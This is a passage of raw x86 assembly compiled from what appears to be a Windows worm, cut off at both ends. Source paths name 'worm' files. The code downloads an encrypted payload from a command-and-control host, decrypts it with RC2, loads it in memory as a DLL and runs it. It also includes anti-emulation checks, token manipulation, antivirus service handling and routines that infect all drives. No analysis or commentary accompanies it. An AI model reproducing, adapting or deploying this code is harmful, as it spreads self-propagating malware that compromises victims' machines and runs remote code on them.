%eax,-120(%ebp) .line 52 addl -108(%ebp),%eax movl %eax,-108(%ebp) .line 53 cmpb $124,(,%eax) jne _$1418 .line 54 incl -108(%ebp) .line 55 pushl $10 pushl -108(%ebp) call _u_strchr addl $8,%esp movl %eax,-128(%ebp) .line 56 test %eax,%eax je _$1422 movb $0,(,%eax) _$1422: .line 58 pushl $0 pushl $0 leal -132(%ebp),%eax pushl %eax pushl -108(%ebp) pushl _HostAdminka call _LoadFileFromInet addl $20,%esp movl %eax,-124(%ebp) .line 59 test %eax,%eax je _$1418 .line 60 pushl 12(%ebp) pushl -132(%ebp) pushl %eax call _DecodeData movl %eax,-104(%ebp) .line 61 pushl -124(%ebp) call _u_free addl $16,%esp .line 63 .line 64 _$1418: .line 65 pushl -112(%ebp) call _u_free popl %ecx _$1416: .line 67 pushl %esi call _u_free popl %ecx .line 68 movl -104(%ebp),%eax .line 69 popl %edi popl %esi popl %ebx leave ret _$1436: .size _LoadFileFromAdminka,_$1436-_LoadFileFromAdminka .globl _LoadFileFromAdminka ; ret --> %edi ; size --> %esi ; request --> %ebx .type _LoadFileFromRequest,function _LoadFileFromRequest: pushl %ebp movl %esp,%ebp subl $1032,%esp pushl %ebx pushl %esi pushl %edi .line 72 movl 8(%ebp),%ebx movl 12(%ebp),%esi .line 74 andl $0,-4(%ebp) .line 75 andl $0,(,%esi) .line 76 xor %edi,%edi _$1438: .line 78 leal -4(%ebp),%eax pushl %eax pushl $1024 leal -1028(%ebp),%eax pushl %eax pushl %ebx call *__InternetReadFile .line 79 cmpl $0,-4(%ebp) je _$1441 .line 80 pushl $0 movl (,%esi),%eax addl -4(%ebp),%eax pushl %eax call _u_alloc addl $8,%esp movl %eax,-1032(%ebp) .line 81 or %edi,%edi je _$1443 pushl (,%esi) pushl %edi pushl %eax call _u_memcpy addl $12,%esp _$1443: .line 82 pushl -4(%ebp) leal -1028(%ebp),%eax pushl %eax movl (,%esi),%eax addl -1032(%ebp),%eax pushl %eax call _u_memcpy .line 83 movl -4(%ebp),%eax addl %eax,(,%esi) .line 84 pushl %edi call _u_free addl $16,%esp .line 85 movl -1032(%ebp),%edi _$1441: .line 87 cmpl $1024,-4(%ebp) je _$1438 .line 88 movl %edi,%eax .line 89 popl %edi popl %esi popl %ebx leave ret _$1446: .size _LoadFileFromRequest,_$1446-_LoadFileFromRequest .globl _LoadFileFromRequest ; inet --> %edi ; inet --> %edi ; ret --> %esi .type _LoadFileFromInet,function _LoadFileFromInet: pushl %ebp movl %esp,%ebp subl $524,%esp pushl %ebx pushl %esi pushl %edi .line 92 .line 93 xor %esi,%esi .line 94 movl 16(%ebp),%eax andl $0,(,%eax) .line 96 movl _UserAgent,%edi .line 97 test %edi,%edi jne _$1448 .line 98 movl $512,-516(%ebp) .line 99 leal -516(%ebp),%eax pushl %eax leal -512(%ebp),%eax pushl %eax pushl $0 call *__ObtainUserAgentString .line 100 leal -512(%ebp),%edi _$1448: .line 102 pushl $0 pushl $0 pushl $0 pushl $0 pushl %edi call *__InternetOpenA movl %eax,%edi .line 103 or %edi,%edi je _$1450 .line 104 pushl $1 pushl $0 pushl $3 pushl $0 pushl $0 pushl $80 pushl 8(%ebp) pushl %edi call *__InternetConnectA movl %eax,-516(%ebp) .line 105 test %eax,%eax je _$1452 .line 107 pushl $1 pushl $0 pushl $0 pushl $0 pushl $0 pushl 12(%ebp) cmpl $0,20(%ebp) je _$1456 leal _$1454,%ebx jmp _$1457 _$1456: xor %ebx,%ebx _$1457: pushl %ebx pushl -516(%ebp) call *__HttpOpenRequestA movl %eax,-520(%ebp) .line 108 test %eax,%eax je _$1458 .line 110 cmpl $0,20(%ebp) je _$1460 .line 111 pushl $0x20000000 pushl $0xffffffff pushl $_$1462 pushl %eax call *__HttpAddRequestHeadersA .line 112 pushl $0x20000000 pushl $0xffffffff pushl $_$1463 pushl -520(%ebp) call *__HttpAddRequestHeadersA .line 113 pushl $0x20000000 pushl $0xffffffff pushl $_$1464 pushl -520(%ebp) call *__HttpAddRequestHeadersA _$1460: .line 115 pushl 24(%ebp) pushl 20(%ebp) pushl $0 pushl $0 pushl -520(%ebp) call *__HttpSendRequestA movl %eax,-524(%ebp) .line 116 test %eax,%eax je _$1465 .line 117 pushl 16(%ebp) pushl -520(%ebp) call _LoadFileFromRequest addl $8,%esp movl %eax,%esi _$1465: .line 119 pushl -520(%ebp) call *__InternetCloseHandle _$1458: .line 121 pushl -516(%ebp) call *__InternetCloseHandle _$1452: .line 123 pushl %edi call *__InternetCloseHandle _$1450: .line 125 movl %esi,%eax .line 126 popl %edi popl %esi popl %ebx leave ret _$1476: .size _LoadFileFromInet,_$1476-_LoadFileFromInet .globl _LoadFileFromInet ; p --> %edi ; p --> %edi ; p2 --> %esi ; ca --> %ebx .type _DecodeData,function _DecodeData: pushl %ebp movl %esp,%ebp subl $20,%esp pushl %ebx pushl %esi pushl %edi .line 129 .line 131 movl 16(%ebp),%eax andl $0,(,%eax) .line 133 movl 8(%ebp),%eax movl (,%eax),%eax movl %eax,-8(%ebp) .line 134 movl 12(%ebp),%eax movl 8(%ebp),%edx leal -1(%eax,%edx),%eax movl %eax,%esi movl %eax,%edi jmp _$1479 _$1478: .line 135 decl %edi _$1479: cmpb $61,(,%edi) je _$1478 .line 136 movl %esi,%ebx subl %edi,%ebx .line 137 addl $-3,%edi .line 138 movl (,%edi),%eax movl %eax,-4(%ebp) jmp _$1483 _$1482: .line 139 movl %edi,%eax incl %edi movl %esi,%edx decl %esi movb (,%edx),%dl movb %dl,(,%eax) _$1483: movl %ebx,%eax decl %ebx or %eax,%eax jne _$1482 .line 140 subl $8,12(%ebp) .line 141 pushl 12(%ebp) movl 8(%ebp),%eax movl %eax,%edx addl $4,%edx pushl %edx pushl %eax call _u_memcpy .line 143 pushl $0 pushl 12(%ebp) call _u_alloc movl %eax,%edi .line 144 movl 12(%ebp),%eax movl %eax,-12(%ebp) .line 145 pushl $0 pushl $0 leal -12(%ebp),%eax pushl %eax pushl %edi pushl $1 pushl 12(%ebp) pushl 8(%ebp) call *__CryptStringToBinaryA .line 150 leal -16(%ebp),%eax pushl %eax leal -20(%ebp),%eax pushl %eax leal -8(%ebp),%eax pushl %eax pushl _RC2_Password call _GenerateKey addl $36,%esp or %eax,%eax je _$1485 .line 151 leal -12(%ebp),%eax pushl %eax pushl %edi pushl $0 pushl $1 pushl $0 pushl -16(%ebp) call *__CryptDecrypt or %eax,%eax je _$1487 .line 152 movl -12(%ebp),%eax movb $0,(%edi,%eax) .line 153 movl 16(%ebp),%eax movl -12(%ebp),%edx movl %edx,(,%eax) jmp _$1488 _$1487: .line 155 .line 156 pushl %edi call _u_free popl %ecx .line 157 xor %edi,%edi _$1488: .line 160 pushl -16(%ebp) call *__CryptDestroyKey .line 161 pushl $0 pushl -20(%ebp) call *__CryptReleaseContext _$1485: .line 164 movl %edi,%eax .line 165 popl %edi popl %esi popl %ebx leave ret _$1498: .size _DecodeData,_$1498-_DecodeData .globl _DecodeData ; provider --> %edi ; key --> %esi .type _GenerateKey,function _GenerateKey: pushl %ebp movl %esp,%ebp subl $84,%esp pushl %ebx pushl %esi pushl %edi .line 176 movl 16(%ebp),%edi movl 20(%ebp),%esi .line 177 andl $0,(,%edi) .line 178 andl $0,(,%esi) .line 181 pushl $0xf0000000 pushl $1 pushl $0 pushl $0 pushl %edi call *__CryptAcquireContextA movl %ax,%bx cmpb $0,%bl je _$1501 .line 185 pushl $76 pushl $0 leal -76(%ebp),%eax pushl %eax call _u_memset .line 186 movb $8,-76(%ebp) .line 187 movb $2,-75(%ebp) .line 188 movl $26114,-72(%ebp) .line 190 pushl 8(%ebp) call _lstrlenA@4 movl %eax,-68(%ebp) .line 191 pushl %eax pushl 8(%ebp) leal -64(%ebp),%eax pushl %eax call _u_memcpy addl $24,%esp .line 193 pushl %esi pushl $0 pushl $0 pushl $76 leal -76(%ebp),%eax pushl %eax pushl (,%edi) call *__CryptImportKey or %eax,%eax je _$1508 .line 196 pushl $0 pushl 12(%ebp) pushl $1 pushl (,%esi) call *__CryptSetKeyParam or %eax,%eax je _$1510 .line 198 movl $1,-80(%ebp) .line 199 pushl $0 leal -80(%ebp),%eax pushl %eax pushl $4 pushl (,%esi) call *__CryptSetKeyParam or %eax,%eax je _$1510 .line 201 movl $1,-84(%ebp) .line 202 pushl $0 leal -84(%ebp),%eax pushl %eax pushl $3 pushl (,%esi) call *__CryptSetKeyParam or %eax,%eax je _$1510 .line 203 xor %eax,%eax inc %eax jmp _$1500 .line 204 .line 205 _$1510: .line 206 pushl (,%esi) call *__CryptDestroyKey _$1508: .line 208 pushl $0 pushl (,%edi) call *__CryptReleaseContext _$1501: .line 210 xor %eax,%eax _$1500: .line 211 popl %edi popl %esi popl %ebx leave ret _$1523: .size _GenerateKey,_$1523-_GenerateKey .globl _GenerateKey .file "e:\projects\progs\petrosjan\bjwj\worm\addons\util.c" _$M160: .type _u_alloc,function _u_alloc: pushl %ebp movl %esp,%ebp pushl %edi .line 4 .line 5 pushl 8(%ebp) xorl %edi,%edi cmpl %edi,12(%ebp) xchgl %edi,%eax sete %al xchgl %eax,%edi decl %edi andl $64,%edi pushl %edi call *__LocalAlloc .line 6 popl %edi popl %ebp ret _$1529: .size _u_alloc,_$1529-_u_alloc .globl _u_alloc .type _u_free,function _u_free: pushl %ebp movl %esp,%ebp .line 9 .line 10 pushl 8(%ebp) call *__LocalFree .line 11 popl %ebp ret _$1531: .size _u_free,_$1531-_u_free .globl _u_free ; c --> %edi ; src --> %esi ; dst --> %ebx .type _u_memcpy,function _u_memcpy: pushl %ebx pushl %esi .line 14 movl 12(%esp),%ebx movl 16(%esp),%esi movl 20(%esp),%ecx .line 15 or %ecx,%ecx jle _$1533 jmp _$1536 _$1535: .line 16 movl %ebx,%eax incl %ebx movl %esi,%edx incl %esi movb (,%edx),%dl movb %dl,(,%eax) _$1536: movl %ecx,%eax decl %ecx or %eax,%eax jne _$1535 .line 17 _$1533: popl %esi popl %ebx ret _$1541: .size _u_memcpy,_$1541-_u_memcpy .globl _u_memcpy ; p --> %edi ; count --> %esi .type _u_memset,function _u_memset: pushl %esi .line 20 movl 16(%esp),%esi .line 21 movl 8(%esp),%ecx jmp _$1544 _$1543: .line 23 movl %ecx,%eax incl %ecx movb 12(%esp),%dl movb %dl,(,%eax) _$1544: .line 22 movl %esi,%eax decl %esi or %eax,%eax jne _$1543 .line 24 popl %esi ret _$1548: .size _u_memset,_$1548-_u_memset .globl _u_memset ; fout --> %edi ; add --> %esi ; read --> %ebx .type _u_CreateFile,function _u_CreateFile: pushl %ebp movl %esp,%ebp pushl %ecx pushl %eax pushl %ebx pushl %esi pushl %edi .line 27 movl 12(%ebp),%ebx movl 16(%ebp),%esi .line 28 pushl $0 pushl $0 or %ebx,%ebx jne _$1554 or %esi,%esi je _$1552 _$1554: movl $3,-4(%ebp) jmp _$1553 _$1552: movl $2,-4(%ebp) _$1553: pushl -4(%ebp) pushl $0 pushl $3 or %ebx,%ebx je _$1555 movl $0x80000000,-8(%ebp) jmp _$1556 _$1555: movl $0x40000000,-8(%ebp) _$1556: pushl -8(%ebp) pushl 8(%ebp) call *__CreateFile movl %eax,%edi .line 29 cmpl $0xffffffff,%edi jne _$1557 xor %eax,%eax jmp _$1549 _$1557: .line 30 or %esi,%esi je _$1559 pushl $2 pushl $0 pushl $0 pushl %edi call *__SetFilePointer _$1559: .line 31 movl %edi,%eax _$1549: .line 32 popl %edi popl %esi popl %ebx leave ret _$1562: .size _u_CreateFile,_$1562-_u_CreateFile .globl _u_CreateFile .type _u_WriteFile,function _u_WriteFile: pushl %ebp movl %esp,%ebp pushl %ecx .line 35 .line 36 andl $0,-4(%ebp) .line 37 pushl $0 leal -4(%ebp),%eax pushl %eax pushl 16(%ebp) pushl 12(%ebp) pushl 8(%ebp) call *__WriteFile .line 38 movl -4(%ebp),%eax .line 39 leave ret _$1564: .size _u_WriteFile,_$1564-_u_WriteFile .globl _u_WriteFile .type _u_ReadFile,function _u_ReadFile: pushl %ebp movl %esp,%ebp pushl %ecx .line 42 .line 43 andl $0,-4(%ebp) .line 44 pushl $0 leal -4(%ebp),%eax pushl %eax pushl 16(%ebp) pushl 12(%ebp) pushl 8(%ebp) call *__ReadFile .line 45 movl -4(%ebp),%eax .line 46 leave ret _$1566: .size _u_ReadFile,_$1566-_u_ReadFile .globl _u_ReadFile .type _u_CloseFile,function _u_CloseFile: pushl %ebp movl %esp,%ebp .line 49 .line 50 pushl 8(%ebp) call *__CloseHandle .line 51 popl %ebp ret _$1568: .size _u_CloseFile,_$1568-_u_CloseFile .globl _u_CloseFile ; fout --> %edi .type _u_SaveToFile,function _u_SaveToFile: pushl %ebp movl %esp,%ebp pushl %edi .line 54 .line 55 pushl $0 pushl $0 pushl 8(%ebp) call _u_CreateFile addl $12,%esp movl %eax,%edi .line 56 or %edi,%edi jne _$1570 xor %eax,%eax jmp _$1569 _$1570: .line 57 pushl 16(%ebp) pushl 12(%ebp) pushl %edi call _u_WriteFile .line 58 pushl %edi call _u_CloseFile addl $16,%esp .line 59 xor %eax,%eax inc %eax _$1569: .line 60 popl %edi popl %ebp ret _$1573: .size _u_SaveToFile,_$1573-_u_SaveToFile .globl _u_SaveToFile ; i --> %edi ; c_sub --> %esi ; s --> %ebx .type _u_strstr,function _u_strstr: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 63 movl 8(%ebp),%ebx .line 64 pushl %ebx call _lstrlenA@4 movl %eax,-4(%ebp) .line 65 pushl 12(%ebp) call _lstrlenA@4 movl %eax,%esi .line 66 cmpl %esi,-4(%ebp) jge _$1575 xor %eax,%eax jmp _$1574 _$1575: .line 67 xor %edi,%edi jmp _$1580 _$1577: .line 69 movl $1,-12(%ebp) .line 70 andl $0,-8(%ebp) jmp _$1584 _$1581: .line 71 movl -8(%ebp),%eax movl %edi,%edx addl %eax,%edx movsbl (%ebx,%edx),%edx movl 12(%ebp),%ecx movsbl (%ecx,%eax),%eax cmpl %eax,%edx je _$1585 .line 73 andl $0,-12(%ebp) .line 74 jmp _$1583 _$1585: .line 70 incl -8(%ebp) _$1584: cmpl %esi,-8(%ebp) jl _$1581 _$1583: .line 76 cmpl $0,-12(%ebp) je _$1587 .line 77 movl %edi,%eax addl %ebx,%eax jmp _$1574 _$1587: .line 78 .line 67 incl %edi _$1580: movl -4(%ebp),%eax subl %esi,%eax cmpl %eax,%edi jle _$1577 .line 79 xor %eax,%eax _$1574: .line 80 popl %edi popl %esi popl %ebx leave ret _$1592: .size _u_strstr,_$1592-_u_strstr .globl _u_strstr .type _u_icmpchar,function _u_icmpchar: .line 84 .line 85 movb 4(%esp),%al cmpb $97,%al jl _$1594 cmpb $122,%al jg _$1594 .line 86 movsbl 4(%esp),%eax xorl $32,%eax movb %al,4(%esp) _$1594: .line 87 movb 8(%esp),%al cmpb $97,%al jl _$1596 cmpb $122,%al jg _$1596 .line 88 movsbl 8(%esp),%eax xorl $32,%eax movb %al,8(%esp) _$1596: .line 89 movsbl 4(%esp),%eax movsbl 8(%esp),%edx subl %edx,%eax .line 90 ret _$1600: .size _u_icmpchar,_$1600-_u_icmpchar .globl _u_icmpchar ; i --> %edi ; c_sub --> %esi ; s --> %ebx .type _u_istrstr,function _u_istrstr: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %ebx pushl %esi pushl %edi .line 94 movl 8(%ebp),%ebx .line 95 pushl %ebx call *__lstrlen movl %eax,-4(%ebp) .line 96 pushl 12(%ebp) call *__lstrlen movl %eax,%esi .line 97 cmpl %esi,-4(%ebp) jge _$1602 xor %eax,%eax jmp _$1601 _$1602: .line 98 xor %edi,%edi jmp _$1607 _$1604: .line 100 movl $1,-12(%ebp) .line 101 andl $0,-8(%ebp) jmp _$1611 _$1608: .line 102 movl -8(%ebp),%eax movl 12(%ebp),%edx movsbl (%edx,%eax),%edx pushl %edx movl %edi,%edx addl %eax,%edx movsbl (%ebx,%edx),%eax pushl %eax call _u_icmpchar addl $8,%esp or %eax,%eax je _$1612 .line 104 andl $0,-12(%ebp) .line 105 jmp _$1610 _$1612: .line 101 incl -8(%ebp) _$1611: cmpl %esi,-8(%ebp) jl _$1608 _$1610: .line 107 cmpl $0,-12(%ebp) je _$1614 .line 108 movl %edi,%eax addl %ebx,%eax jmp _$1601 _$1614: .line 109 .line 98 incl %edi _$1607: movl -4(%ebp),%eax subl %esi,%eax cmpl %eax,%edi jle _$1604 .line 110 xor %eax,%eax _$1601: .line 111 popl %edi popl %esi popl %ebx leave ret _$1620: .size _u_istrstr,_$1620-_u_istrstr .globl _u_istrstr ; s --> %edi .type _u_strchr,function _u_strchr: .line 114 movl 4(%esp),%ecx .line 115 or %ecx,%ecx jne _$1625 xor %eax,%eax jmp _$1621 .line 116 _$1624: .line 117 movsbl (,%ecx),%eax movsbl 8(%esp),%edx cmpl %edx,%eax jne _$1627 .line 118 movl %ecx,%eax jmp _$1621 _$1627: .line 120 incl %ecx .line 121 _$1625: .line 116 cmpb $0,(,%ecx) jne _$1624 .line 121 xor %eax,%eax _$1621: .line 122 ret _$1629: .size _u_strchr,_$1629-_u_strchr .globl _u_strchr .data .align 2 .type _$S1,object _$S1: .long 0x0 .text .type _u_rand,function _u_rand: pushl %ebp movl %esp,%ebp pushl %ecx pushl %edi .line 126 .line 128 cmpl $0,_$S1 jne _$1631 call *__GetTickCount movl %eax,%edi andl $0xffff,%edi movl %edi,_$S1 _$1631: .line 129 movl $0xec7b,%eax mull _$S1 movl %eax,-4(%ebp) addl $4481,%eax andl $0xffff,%eax movl %eax,_$S1 .line 130 .line 131 popl %edi leave ret _$1635: .size _u_rand,_$1635-_u_rand .globl _u_rand ; r --> %esi .type _u_rand_range,function _u_rand_range: pushl %ebp movl %esp,%ebp pushl %ebx pushl %esi pushl %edi .line 134 .line 135 call _u_rand movl %eax,%esi .line 136 movl 8(%ebp),%edi movl %esi,%eax movl 12(%ebp),%ebx subl %edi,%ebx movl %ebx,%ecx incl %ecx cdq idivl %ecx movl %edx,%eax addl %edi,%eax .line 137 popl %edi popl %esi popl %ebx popl %ebp ret _$1639: .size _u_rand_range,_$1639-_u_rand_range .globl _u_rand_range .file "e:\projects\progs\petrosjan\bjwj\worm\addons\addons.c" _$M161: .data .globl _nameLoadDll .align 2 .type _nameLoadDll,object _nameLoadDll: .long _$1640 .text ; dll --> %edi .type _LoadAndStartDll,function _LoadAndStartDll: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %edi .line 7 .line 9 pushl $_$1642 call *__OutputDebugStringA .line 10 leal -4(%ebp),%eax pushl %eax pushl _nameLoadDll call _LoadFileFromAdminka addl $8,%esp movl %eax,%edi .line 11 pushl $_$1643 call *__OutputDebugStringA .line 12 or %edi,%edi je _$1644 .line 14 pushl -4(%ebp) pushl %edi pushl $_$1646 call _u_SaveToFile .line 15 pushl $_$1647 call *__OutputDebugStringA .line 16 pushl %edi call _MemoryLoadLibrary addl $16,%esp movl %eax,-8(%ebp) .line 17 pushl $_$1648 call *__OutputDebugStringA .line 18 cmpl $0,-8(%ebp) je _$1649 .line 20 pushl $_$1651 call *__OutputDebugStringA .line 21 pushl $_$1652 pushl -8(%ebp) call _MemoryGetProcAddress@8 movl %eax,-12(%ebp) .line 22 pushl $_$1653 call *__OutputDebugStringA .line 23 cmpl $0,-12(%ebp) je _$1654 .line 25 pushl $_$1656 call *__OutputDebugStringA .line 26 call *-12(%ebp) jmp _$1650 _$1654: .line 29 pushl $_$1657 call *__OutputDebugStringA .line 30 jmp _$1650 _$1649: .line 32 pushl $_$1658 call *__OutputDebugStringA _$1650: .line 33 pushl %edi call _u_free popl %ecx _$1644: .line 35 popl %edi leave ret _$1662: .size _LoadAndStartDll,_$1662-_LoadAndStartDll .globl _LoadAndStartDll .file "e:\projects\progs\petrosjan\bjwj\worm\kkqvx.c" _$M162: .type _WndProc@16,function _WndProc@16: pushl %ebp movl %esp,%ebp pushl %edi .line 18 .line 19 movl 12(%ebp),%eax _$1664: .line 21 pushl 20(%ebp) pushl 16(%ebp) pushl 12(%ebp) pushl 8(%ebp) call *__DefWindowProc .line 23 popl %edi popl %ebp ret $16 _$1667: .size _WndProc@16,_$1667-_WndProc@16 .globl _WndProc@16 ; v --> %edi .type _CheckVersion,function _CheckVersion: pushl %ebp movl %esp,%ebp subl $260,%esp pushl %esi pushl %edi .line 34 .line 40 movl $23,%edi _$1669: .line 44 pushl %edi pushl $_$1674 pushl $_$1673 leal -255(%ebp),%eax pushl %eax call *__sprintf addl $16,%esp .line 50 leal -255(%ebp),%eax pushl %eax pushl $0 pushl $0x100000 call *__OpenMutex movl %eax,-260(%ebp) or %eax,%eax je _$1675 .line 52 pushl %eax call *__CloseHandle .line 53 cmpl $23,%edi jne _$1677 .line 54 xor %eax,%eax inc %eax jmp _$1668 _$1677: .line 56 movl $2,%eax jmp _$1668 .line 57 _$1675: .line 58 .line 40 incl %edi cmpl $100,%edi jb _$1669 .line 60 xor %eax,%eax _$1668: .line 61 popl %edi popl %esi leave ret _$1680: .size _CheckVersion,_$1680-_CheckVersion .globl _CheckVersion ; hcmv --> %edi .type _CreateOrOpenMutexes_WaitForMtx2Release,function _CreateOrOpenMutexes_WaitForMtx2Release: pushl %ebp movl %esp,%ebp pushl %ecx pushl %edi .line 67 .line 72 pushl 8(%ebp) pushl $0 pushl $0 call *__CreateMutex movl %eax,-4(%ebp) .line 73 pushl 12(%ebp) pushl $1 pushl $0 call *__CreateMutex movl %eax,%edi .line 83 or %edi,%edi jne _$1682 pushl $1 call *__ExitThread _$1682: .line 92 pushl $0xffffffff pushl %edi call *__WaitForSingleObject .line 97 popl %edi leave ret _$1686: .size _CreateOrOpenMutexes_WaitForMtx2Release,_$1686-_CreateOrOpenMutexes_WaitForMtx2Release .globl _CreateOrOpenMutexes_WaitForMtx2Release .type _InitInfectData,function _InitInfectData: pushl %ebp movl %esp,%ebp .extern __stackprobe movl $200008,%eax call __stackprobe .line 104 .line 107 movl 8(%ebp),%eax addl $23,%eax pushl %eax call *__srand popl %ecx .line 133 andl $0,-4(%ebp) .line 135 pushl $0 pushl $0 pushl $3 pushl $0 pushl $0 pushl $0x80000001 pushl $_$1688 call *__CreateFile movl %eax,-8(%ebp) .line 136 cmpl $0xffffffff,%eax je _$1689 .line 138 pushl $0 pushl $0 pushl $_$1691 pushl $0 call *__MessageBox .line 139 pushl $0 pushl $0 pushl $_$1692 pushl $0 call *__MessageBox .line 140 pushl $0 leal -4(%ebp),%eax pushl %eax pushl $0x30d40 leal -200008(%ebp),%eax pushl %eax pushl -8(%ebp) call *__ReadFile .line 141 pushl -8(%ebp) call *__CloseHandle jmp _$1690 _$1689: .line 143 andl $0,-4(%ebp) andl $0,_dll_len pushl $0 pushl $0 pushl $_$1693 pushl $0 call *__MessageBox _$1690: .line 145 leal -200008(%ebp),%eax movl %eax,_dll_mem .line 151 movl -4(%ebp),%eax movl %eax,_dll_len .line 152 call _InitAVSVC .line 158 pushl 12(%ebp) call _ProcessInactiveServices popl %ecx .line 159 leave ret _$1696: .size _InitInfectData,_$1696-_InitInfectData .globl _InitInfectData .type _ServiceMode,function _ServiceMode: pushl %ebp movl %esp,%ebp subl $256,%esp .line 165 .line 167 pushl $_$1698 call *__OutputDebugStringA .line 172 movl $10000,_sdelay .line 173 pushl $23 pushl $_$1700 pushl $_$1699 leal -255(%ebp),%eax pushl %eax call *__sprintf .line 176 leal -255(%ebp),%eax pushl %eax pushl $_$1700 call _CreateOrOpenMutexes_WaitForMtx2Release .line 179 pushl $0 call _EditOwnToken_or_CheckFiltered .line 183 pushl $0 pushl 8(%ebp) call _InitInfectData .line 189 pushl $_InfectAllDrives@4 call _CloseCreateThreadEco .line 201 pushl $_$1700 leal -255(%ebp),%eax pushl %eax call _CreateOrOpenMutexes_WaitForMtx2Release addl $48,%esp .line 206 call _LoadAndStartDll _$1701: .line 209 pushl $0 call *___sleep popl %ecx jmp _$1701 .line 210 leave ret _$1702: .size _ServiceMode,_$1702-_ServiceMode .globl _ServiceMode .type _MainThread@4,function _MainThread@4: pushl %ebp movl %esp,%ebp subl $624,%esp pushl %ebx pushl %esi pushl %edi .line 222 .line 243 addl $23,-72(%ebp) .line 244 call _GetTicks1 .line 246 movl $512,-76(%ebp) .line 247 pushl $96 call _AntiEmulator addl $4,%esp movl %eax,-72(%ebp) .line 249 movl __KERNEL32,%edi addl -76(%ebp),%edi addl _EMUL,%edi movl %edi,__KERNEL32 .line 250 movl __KERNEL32,%edi movl -76(%ebp),%eax mull -72(%ebp) movl %eax,-624(%ebp) movl -624(%ebp),%esi subl -624(%ebp),%edi movl %edi,__KERNEL32 .line 254 call _InitKernel32a .line 256 call _InitKernel32 .line 257 call _InitCRTDLL .line 258 call _InitUser32 .line 259 call _InitADVAPI32 .line 260 call _InitSFC .line 261 call _InitShell32 .line 262 call _InitCrypt32 .line 263 call _InitUrlmon .line 264 call _InitWininet .line 265 call _InitSFC_OS .line 274 call *__GetTickCount movl %eax,-80(%ebp) .line 275 pushl $0 call *__GetModuleHandle movl %eax,_hI .line 276 call _CheckService movl %eax,-620(%ebp) .line 292 pushl -80(%ebp) call _ServiceMode addl $4,%esp _$1704: .line 305 call _CheckVersion movl %ax,%bx movb %bl,-81(%ebp) .line 307 cmpb $2,-81(%ebp) jne _$1705 .line 312 pushl $1 call *__ExitThread _$1705: .line 315 cmpb $1,-81(%ebp) jne _$1707 .line 321 pushl $100 call *___sleep addl $4,%esp .line 324 jmp _$1704 _$1707: .line 333 pushl $_$1674 pushl $_$1709 leal -347(%ebp),%edi pushl %edi call *__sprintf addl $12,%esp .line 334 pushl $23 pushl $_$1674 pushl $_$1673 leal -602(%ebp),%edi pushl %edi call *__sprintf addl $16,%esp .line 336 leal -602(%ebp),%edi pushl %edi leal -347(%ebp),%edi pushl %edi call _CreateOrOpenMutexes_WaitForMtx2Release addl $8,%esp .line 342 leal _$1674,%edi movl %edi,-32(%ebp) .line 343 movl _hI,%edi movl %edi,-52(%ebp) .line 344 leal _WndProc@16,%edi movl %edi,-64(%ebp) .line 345 movl $0,-44(%ebp) .line 346 movl $0,-48(%ebp) .line 347 movl $0,-36(%ebp) .line 348 movl $0x5,-40(%ebp) .line 349 movl $3,-68(%ebp) .line 350 movl $0,-60(%ebp) .line 351 movl $0,-56(%ebp) .line 355 leal -68(%ebp),%edi pushl %edi call *__RegisterClass .line 362 movl $0xca0000,-608(%ebp) .line 363 movl $0,-88(%ebp) .line 364 movl $0,-92(%ebp) .line 370 pushl $_$1700 pushl $0 pushl $0x100000 call *__OpenMutex movl %eax,-616(%ebp) cmpl $0,%eax je _$1719 .line 372 movl $0,-612(%ebp) .line 373 pushl -616(%ebp) call *__CloseHandle jmp _$1720 _$1719: .line 375 movl $5,-612(%ebp) _$1720: .line 384 pushl $0 pushl _hI pushl $0 pushl $0 movl -92(%ebp),%edi pushl %edi pushl %edi movl -88(%ebp),%edi pushl %edi pushl %edi pushl -608(%ebp) pushl $_$1674 pushl $_$1674 pushl $0 call *__CreateWindowEx movl %eax,_hw .line 385 movl $0,_sdelay .line 388 pushl $0 call _EditOwnToken_or_CheckFiltered addl $4,%esp .line 391 pushl -612(%ebp) pushl -80(%ebp) call _InitInfectData addl $8,%esp .line 395 call _softfind .line 399 pushl $_InfectAllDrives@4 call _CloseCreateThreadEco addl $4,%esp jmp _$1722 _$1721: .line 405 leal -28(%ebp),%edi pushl %edi call *__TranslateMessage .line 406 leal -28(%ebp),%edi pushl %edi call *__DispatchMessage _$1722: .line 403 pushl $0 pushl $0 pushl $0 leal -28(%ebp),%edi pushl %edi call *__GetMessage cmpl $0,%eax jne _$1721 .line 411 pushl $_$1724 call _GetModuleHandleA@4 _$1703: .line 413 popl %edi popl %esi popl %ebx leave ret $4 _$1741: .size _MainThread@4,_$1741-_MainThread@4 .globl _MainThread@4 .type _StartMainThread,function _StartMainThread: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %edi .line 425 .line 430 movl $1,-12(%ebp) .line 431 leal -8(%ebp),%edi pushl %edi pushl $0 leal -4(%ebp),%edi pushl %edi pushl $_MainThread@4 pushl $0 pushl $0 call *__CreateThread _$1742: .line 432 popl %edi leave ret _$1744: .size _StartMainThread,_$1744-_StartMainThread .globl _StartMainThread .type _main,function _main: pushl %ebp movl %esp,%ebp subl $32,%esp pushl %edi .line 456 .line 462 leal _MainThread@4,%edi movl %edi,-20(%ebp) .line 463 leal _MainThread@4,%edi shrl $16,%edi movl %edi,-8(%ebp) .line 465 shll $16,-8(%ebp) .line 473 leal -12(%ebp),%edi pushl %edi pushl $4 pushl -20(%ebp) pushl -8(%ebp) call _FindPEheader addl $16,%esp movl %eax,-8(%ebp) .line 477 movl -12(%ebp),%edi movl 128(%edi),%edi movl %edi,-16(%ebp) .line 481 movl $0,-4(%ebp) jmp _$1749 _$1746: .line 483 movl -8(%ebp),%edi addl -16(%ebp),%edi addl -4(%ebp),%edi movl %edi,-32(%ebp) .line 485 movl -32(%ebp),%edi cmpl $0,(,%edi) jne _$1750 jmp _$1748 _$1750: .line 486 cmpl $0,__KERNEL32 je _$1752 jmp _$1748 _$1752: .line 488 pushl -32(%ebp) pushl -8(%ebp) call _ProcessDLLimports addl $8,%esp _$1747: .line 481 addl $20,-4(%ebp) _$1749: movl -12(%ebp),%edi movl 132(%edi),%edi cmpl %edi,-4(%ebp) jb _$1746 _$1748: .line 491 cmpl $0,__KERNEL32 jne _$1754 jmp _$1745 _$1754: .line 517 call _StartMainThread .line 521 pushl $0 pushl $0 pushl $0 pushl $0 call _WriteOrGetLen_C_CODE addl $16,%esp movl %eax,_szinfcode .line 525 movl -12(%ebp),%edi movzwl 6(%edi),%edi 